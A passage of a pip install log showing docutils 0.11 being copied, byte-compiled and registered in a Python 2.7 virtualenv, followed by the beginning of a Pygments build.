/home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isotech.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomfrk.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isocyr1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomopf-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamso.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isonum.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/mmlextra.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk4-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomscr.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk4.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/mmlextra-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk2.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsr.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/s5defs.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/xhtml1-special.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isobox.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsn.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isodia.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomscr-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isopub.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isocyr2.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/xhtml1-symbol.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsa.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isogrk3.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/xhtml1-lat1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomopf.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/mmlalias.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsc.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/images.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/tables.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/parts.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/admonitions.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/references.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/body.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/directives/misc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives + + copying build/lib.linux-x86_64-2.7/docutils/parsers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers + + copying build/lib.linux-x86_64-2.7/docutils/readers/standalone.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers + + copying build/lib.linux-x86_64-2.7/docutils/readers/pep.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers + + copying build/lib.linux-x86_64-2.7/docutils/readers/doctree.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers + + copying build/lib.linux-x86_64-2.7/docutils/readers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt/pygmentsformatter.py to pygmentsformatter.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/null.py to null.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pseudoxml.py to pseudoxml.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/xetex/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/manpage.py to manpage.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/docutils_xml.py to docutils_xml.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/core.py to core.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/nodes.py to nodes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/examples.py to examples.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/pt_br.py to pt_br.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/fr.py to fr.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/ca.py to ca.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/ja.py to ja.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/da.py to da.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/zh_cn.py to zh_cn.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/en.py to en.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/he.py to he.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/zh_tw.py to zh_tw.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/lt.py to lt.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/sk.py to sk.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/eo.py to eo.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/de.py to de.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/es.py to es.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/fi.py to fi.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/nl.py to nl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/it.py to it.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/sv.py to sv.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/af.py to af.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/cs.py to cs.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/ru.py to ru.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/gl.py to gl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages/pl.py to pl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/error_reporting.py to error_reporting.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/roman.py to roman.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/code_analyzer.py to code_analyzer.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/punctuation_chars.py to punctuation_chars.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/smartquotes.py to smartquotes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/urischemes.py to urischemes.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/unichar2tex.py to unichar2tex.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/tex2unichar.py to tex2unichar.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/math2html.py to math2html.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math/latex2mathml.py to latex2mathml.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/components.py to components.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/peps.py to peps.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/frontmatter.py to frontmatter.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/parts.py to parts.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/writer_aux.py to writer_aux.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/references.py to references.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/universal.py to universal.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms/misc.py to misc.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/_compat.py to _compat.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/frontend.py to frontend.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/io.py to io.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/statemachine.py to statemachine.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/null.py to null.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/tableparser.py to tableparser.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/roles.py to roles.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/pt_br.py to pt_br.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/fr.py to fr.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/ca.py to ca.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/ja.py to ja.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/da.py to da.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/zh_cn.py to zh_cn.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/en.py to en.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/he.py to he.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/zh_tw.py to zh_tw.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/lt.py to lt.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/sk.py to sk.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/eo.py to eo.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/de.py to de.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/es.py to es.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/fi.py to fi.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/nl.py to nl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/it.py to it.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/sv.py to sv.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/af.py to af.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/cs.py to cs.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/ru.py to ru.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/gl.py to gl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages/pl.py to pl.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/states.py to states.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/images.py to images.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/tables.py to tables.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/parts.py to parts.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/admonitions.py to admonitions.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/html.py to html.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/references.py to references.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/body.py to body.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/directives/misc.py to misc.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/__init__.py to __init__.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/standalone.py to standalone.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/pep.py to pep.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/doctree.py to doctree.pyc + + byte-compiling /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/readers/__init__.py to __init__.pyc + + running install_data + + running install_egg_info + + running egg_info + + creating docutils.egg-info + + writing docutils.egg-info/PKG-INFO + + writing top-level names to docutils.egg-info/top_level.txt + + writing dependency_links to docutils.egg-info/dependency_links.txt + + writing manifest file 'docutils.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'docutils.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + warning: no files found matching 'MANIFEST' + + warning: no files found matching '*' under directory 'extras' + + warning: no previously-included files matching '.cvsignore' found under directory '*' + + warning: no previously-included files matching '*.pyc' found under directory '*' + + warning: no previously-included files matching '*~' found under directory '*' + + warning: no previously-included files matching '.DS_Store' found under directory '*' + + writing manifest file 'docutils.egg-info/SOURCES.txt' + + Copying docutils.egg-info to /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils-0.11-py2.7.egg-info + + running install_scripts + + copying build/scripts-2.7/rst2xetex.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rstpep2html.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2pseudoxml.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2man.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2xml.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2odt.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2odt_prepstyles.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2latex.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2html.py -> /home/isis/.virtualenvs/python-gnupg/bin + + copying build/scripts-2.7/rst2s5.py -> /home/isis/.virtualenvs/python-gnupg/bin + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2xetex.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rstpep2html.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2pseudoxml.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2man.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2xml.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2odt.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2odt_prepstyles.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2latex.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2html.py to 755 + + changing mode of /home/isis/.virtualenvs/python-gnupg/bin/rst2s5.py to 755 + + writing list of installed files to '/tmp/pip-LZGcJp-record/install-record.txt' + + Running setup.py install for Pygments + + Running command /home/isis/.virtualenvs/python-gnupg/bin/python -c "import setuptools;__file__='/home/isis/.virtualenvs/python-gnupg/build/Pygments/setup.py';exec(compile(open(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-8iPICV-record/install-record.txt --single-version-externally-managed --install-headers /home/isis/.virtualenvs/python-gnupg/include/site/python2.7 + + running install + + running build + + running build_py + + creating build + + creating build/lib.linux-x86_64-2.7 + + creating build/lib.linux-x86_64-2.7/pygments + + copying pygments/scanner.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/style.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/lexer.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/console.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/plugin.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/cmdline.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/token.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/unistring.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/util.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/__init__.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/formatter.py -> build/lib.linux-x86_64-2.7/pygments + + copying pygments/filter.py -> build/lib.linux-x86_64-2.7/pygments + + creating build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/shell.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/special.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_robotframeworklexer.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/sql.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/templates.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_openedgebuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_asybuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_clbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_sourcemodbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/jvm.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/text.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/hdl.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_luabuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_vimbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/asm.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/web.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/compiled.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_phpbuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_scilab_builtins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_postgres_builtins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/foxpro.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/math.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/other.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/__init__.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/dotnet.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_lassobuiltins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/dalvik.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/agile.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/functional.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/parsers.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_mapping.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + copying pygments/lexers/_stan_builtins.py -> build/lib.linux-x86_64-2.7/pygments/lexers + + creating build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/rtf.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/terminal256.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/latex.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/html.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/bbcode.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/img.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/other.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/__init__.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/svg.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/terminal.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + copying pygments/formatters/_mapping.py -> build/lib.linux-x86_64-2.7/pygments/formatters + + creating build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/rrt.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/vim.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/vs.py -> build/lib.linux-x86_64-2.7/pygments/styles + + copying pygments/styles/emacs.py -> 